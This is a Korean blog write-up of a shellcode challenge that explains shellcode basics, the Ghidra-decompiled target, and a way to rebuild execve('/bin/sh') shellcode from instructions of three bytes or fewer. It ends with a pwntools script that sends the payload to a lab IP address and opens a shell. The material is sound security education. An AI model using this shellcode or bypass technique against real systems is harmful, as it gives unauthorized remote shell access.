쉘코드?
보안 취약점을 이용해서 시스템의 명령어를 실행하는 소규모 코드. 쉘 실행 외에도 명령을 실행하는 코드를 직접 넣기도 한다.
ghidra 에서 왼쪽에 분할된 창 별로 있는 토글 버튼(빨간박스)은 현재 보고있는 코드가 메모리의 어느위치에 있는지 추적해주는 버튼이다. (main함수는 .text 영역에 있다.)
코드분석
메인함수의 시작부터 나와있는 이 코드는 스택을 체크해서 버퍼오버플로우를 방지하는 SSP 코드이다. (카나리 등)
local_10 = *(long *)(in_FS_OFFSET + 0x28);
...
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
버퍼는 CPU/메모리/네트워크에 대한 접근횟수를 감소시켜 성능상 이점을 추구하기위해 사용된다.
파일을 열게되면 시스템으로부터 파일디스크립터를 할당받고, 파일디스크립터를 포함한 파일에대한 정보가 담긴 FILE구조체를 가리키는 파일포인터를 반환받는다. 그리고 FILE 구조체는 파일디스크립터 테이블에 해당하는 FD를 가리킨다.
setvbuf(파일포인터, 버퍼로 사용될변수, 옵션, 버퍼의크기) : 버퍼의 설정을 제어하는 함수
argv[0] : stdout은 표준 출력에 대한 파일 '포인터'이다.
argv[1] : 버퍼로 사용될 변수를 지정하는데, 0으로 두게되면 프로그램에게 맡기겠다는 의미이다.
argv[2] : 0은 4번째 인자의 크기만큼 버퍼링을 수행하고, 1은 LINE단위로버퍼링, 2는 버퍼링을 사용하지 않겠다는 뜻
argv[3] : 버퍼의 크기를 지정한다.
pcVar2=...mmap(); -> pcVar2 포인터가 가리키는 공간을 초기화 한다는 뜻이다.
main()
undefined8 main(void){
int iVar1;
code *pcVar2;
ssize_t sVar3;
long in_FS_OFFSET;
int local_b4;
int local_b0;
code local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
pcVar2 = (code *)mmap((void *)0x0,0x1000,7,0x21,-1,0);
printf("Shellcode :> ");
sVar3 = read(0,local_98,0x80);
iVar1 = (int)sVar3;
if (local_98[iVar1 + -1] == (code)0xa) {
local_98[iVar1 + -1] = (code)0x0;
}
local_b4 = 0;
local_b0 = 0;
while (local_b0 < iVar1) {
if ((local_b0 % 3 == 0) && (local_b0 != 0)) {
pcVar2[local_b4] = (code)0x0;
local_b4 = local_b4 + 1;
}
pcVar2[local_b4] = local_98[local_b0]; // local_98의 데이터를 pcVar2 배열로 복사
local_b0 = local_b0 + 1;
local_b4 = local_b4 + 1;
}
(*pcVar2)(0,0,pcVar2,0,0,0);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
read 함수로 표준입력의 데이터를 128byte 크기만큼 받아서 local_98(1byte*136) 변수에 저장하고 입력받은 길이를 반환한다. 표준입력으로 데이터를 입력받을땐 엔터를 입력의 끝으로 판단하기 때문에 개행문자까지 입력받게 되는데, 아래 if문에서 마지막 byte가 0xa(개행) 라면 0x0(Null. 문자열의끝) 으로 변경하는 로직이 있다.
while 문 조건은 local_b0 < iVar1 로 되어있고, 반복문 하단에서만 참조되는 local_b0 변수는 반복당 1씩 증가되기 때문에 반복문은 iVar1(문자열 길이)번 반복한다는걸 알 수 있다.
반복문 내부에서 pcVar2 배열에 local_98 배열(입력받은 데이터가 저장된 배열)의 데이터를 대입하여 복사하는걸 확인할 수 있고 3번째 글자마다 if문 내부로 들어와 입력받은 데이터가 아닌 null을 넣고 local_b4의 값을 1 증가시키는걸 볼수있다.
결국엔 local_b4는 pcVar2의 인덱스이고, local_b0는 local_98의 인덱스이며 입력받은 데이터를 local_98에서 pcVar2로 복사하는 과정에서 3번째 글자마다 null을 입력해서 문자열을 자르는 작업을 수행하는것이다.
반복문에서 빠져나오게 되면 pcVar2를 함수포인터로 보고 인자를 전달해서 함수를 실행시킨다.
c언어에서는 함수 이름이 주소를 반환하여 함수 포인터에 저장할 수 있는데, 함수 포인터에서 역참조(*)를 통해 함수를 호출할 수 있다.
void func() { puts("Hello"); }
int main(){
void (*p_func)(); // 함수 포인터형을 선언할때 함수의 반환형과 매개변수가 같아야한다.
p_func=func; // 함수이름이 함수의 주소를 가리키기 때문에 함수 포인터에 저장할 수 있다.
// 하지만 함수이름을 참조(&)하거나 역참조(*)해도 주소를 반환하는건 같기 때문에 여러 표현이 가능하다.
// p_func = &func; p_func = *func; 모두 같은 표현이다.
(*p_func)(); // 함수포인터로 함수 호출
// p_func();로도 동일하게 호출할 수 있다.
//하지만 &p_func 는 포인터의 주소를 참조하기 때문에 다르다.
}
함수가 가리키는 주소를 따라가보면 함수에 해당하는 기계어 코드가 나열되어있는데, 함수를 호출한다는건 결국 기계어 코드가 나열된 주소에 인자를 전달해서 호출한다는 의미이다.
문제에서는 pcVar2 라는 void 형 포인터 변수를 호출하는것이였고 주소를 함수처럼 호출했을때 결국 주소는 코드의 집합을 가리키고 있어야 하기때문에 pcVar2 포인터 배열은 실행할 함수의 기계어 코드가 나열되어 있어야 한다.
조건문에서 pcVar2의 3번째 byte마다 Null을 강제적으로 입력했기 때문에 3byte짜리 기계어까지만 사용하여 플래그를 읽는 함수를 호출하는것이 이 문제의 목표가 된다.
공격
pwntools 에서는 쉘코드를 생성하는 함수를 제공한다.
하지만 원하는건 바이트 형식의 쉘코드이기 때문에 어셈블리언어로 만들어진 쉘코드를 어셈블해서 기계어 코드로 변환한다. asm 함수를 통해서 어셈블할수있고 바이트가 깨진것처럼 보이지만 b' 이후의 바이트중 해석이 가능한 문자(jhH등)는 전부 해석해주고 해석이 불가능하다면 \x를 붙여서 바이트로 보여주는것이다.
길이를 확인해보면 24byte 길이의 쉘코드가 만들어진것을 확인할 수 있다.
디스어셈블 기능도 지원하는데, disasm 함수로 디스어셈블 후 print를 통해서 쉽게 볼 수 있다.
바이트코드를 그대로 정답으로 입력하고 싶지만 문제에서는 3byte씩 널바이트가 포함되는 제약사항이 존재한다.
이 제약사항을 우회하기 위해 널바이트와 합쳐지면서 쉘코드에는 영향을 주지 않는 코드를 적절하게 삽입시켜야 한다.
1. nop (0x90) : 이 명령어는 널바이트와 합쳐지지는 않지만 아무런 동작도 수행하지 않는 명령이기 때문에 1byte 자리를 차지할 필요가 있는 경우 좋은 명령어이다.
2. mov cl, 0x0 (0xb1 0x00) : cl레지스터에 0을 담는 명령어로 위의 쉘코드에서 rcx 레지스터를 사용하지 않기 때문에 의미 없는 명령어와 같다.
3. add cl, cl (0x00 0xc9)
Null 바이트 우회
3번 인덱스에 널바이트가 추가되면 아래와 같이 변하고, \x48\xb8~~ 명령어가 \x48\x00으로 변하기 때문에 명령어 자체가 바뀌게 된다.
\x6a\x68
\x48\x00\xb8\x2f\x62\x69\x6e\x2f
그래서 최대한 영향을 주지 않도록 변경한다.
\x6a\x68
\xb1\x00 (영향을 주지않는 코드 2번)
\x48\xb8\x2f...
3byte 초과하는 명령어 3byte 이하로 줄이기
push 0x68
movabs rax, 0x732f2f2f6e69622f
push rax
이때 스택을 확인해보면
문자열은 맨앞부터 낮은주소에 저장되기 때문에 위의 명령어는 /bin///sh 라는 데이터를 push 한것과 같다.
명령을 줄이는 방법은 여러 방법이 있지만, 여기서 사용된 방법은
push rsp -> pop rax 를 통해 rsp의 값을 rax로 옮긴 뒤
dec rax로 rax값을 1씩 줄여나가면서 (rax는 rsp의 주소를 가지고있고 1을 줄이면 현재 rsp의 위쪽 공간을 가리키게된다.)
[rax]에 데이터를 1byte씩 저장하고 rax-1 하는 작업을 반복하면 결국엔 스택에 /bin/sh라는 문자열을 완성시킬 수 있을것이다.
어셈블리 문법에서는 mov [rax], 0x2f 처럼 레지스터가 가리키는 주소에 값을 직접 넣는 명령어가 존재하지 않는다.
그렇기 때문에 이 명령도 두단계로 나눠서 rax가 가리키는 곳에 값을 입력할 필요가 있다.
mov bl, 0x2f (\xb3 \x2f)
mov [rax],bl (\x88 \x18)
기존의 쉘코드는 push "문자열" 했기 때문에 스택안에 문자열이 존재하는데 동일하게 맞춰주기 위해 rsp가 문자열의 맨위를 가리켜야 한다.
rax는 지금까지 문자열을 저장하면서 dec로 1씩 줄어 rsp 대신 스택의 맨위를 가리켜왔기 때문에 rax값을 rsp에 옮긴다.
mov rsp, rax (\x48 \x89 \xc4)
이정도면 혼자서 풀 수 있으니 풀어봐라
공격코드
from pwn import *
def main():
payload = b'\x6a\x68\xb1\x54\x58\xb1\x48\xff\xc8\xc9\xb3\x73\xc9\x88\x18\xc9\x90\xb1\x48\xff\xc8\xc9\xb3\x2f\xc9\x88\x18\xc9\x90\xb1\x48\xff\xc8\xc9\xb3\x2f\xc9\x88\x18\xc9\x90\xb1\x48\xff\xc8\xc9\xb3\x2f\xc9\x88\x18\xc9\x90\xb1\x48\xff\xc8\xc9\xb3\x6e\xc9\x88\x18\xc9\x90\xb1\x48\xff\xc8\xc9\xb3\x69\xc9\x88\x18\xc9\x90\xb1\x48\xff\xc8\xc9\xb3\x62\xc9\x88\x18\xc9\x90\xb1\x48\xff\xc8\xc9\xb3\x2f\xc9\x88\x18\xc9\x90\xb1\x48\x89\xc4\xc9\x6a\x3b\xc9\x58\x90\xc9\x54\x90\xc9\x5f\x90\xc9\x31\xf6\xc9\x99\x90\xc9\x0f\x05\xc9'
p = remote('192.168.100.153', 38213)
p.send(payload)
p.interactive()
if __name__ == "__main__":
main()
팁
원하는 기계어 코드를 얻으려면 pwntool로 disasm 하면 기계어 바이트값을 알 수 있다..
쉘코드 작성이 끝난 뒤 실행도 pwntool에서 run_shellcode() 함수로 제공해준다.
interactive()를 붙이면 상호작용까지 가능하고, 붙이지 않으면 프로세스가 실행이 정상적으로 됐는지만 출력해준다.
작성한 쉘코드를 바이트형식으로 run_shellcode 함수에 전달하면 된다.
'리버싱 > 리눅스' 카테고리의 다른 글
문제를 풀기위한 팁 및 도구사용법 모음 (0) | 2020.02.08 |
---|---|
드림핵 System Exploitation Fundamental (2) : Memory Corruption (0) | 2020.02.05 |
드림핵 System Exploitation Fundamental (1) : 개요 (0) | 2020.02.04 |
DIMICTF 2019 : ezheap (UAF 취약점) (0) | 2019.12.11 |
nebula : level03 ~ (0) | 2019.10.23 |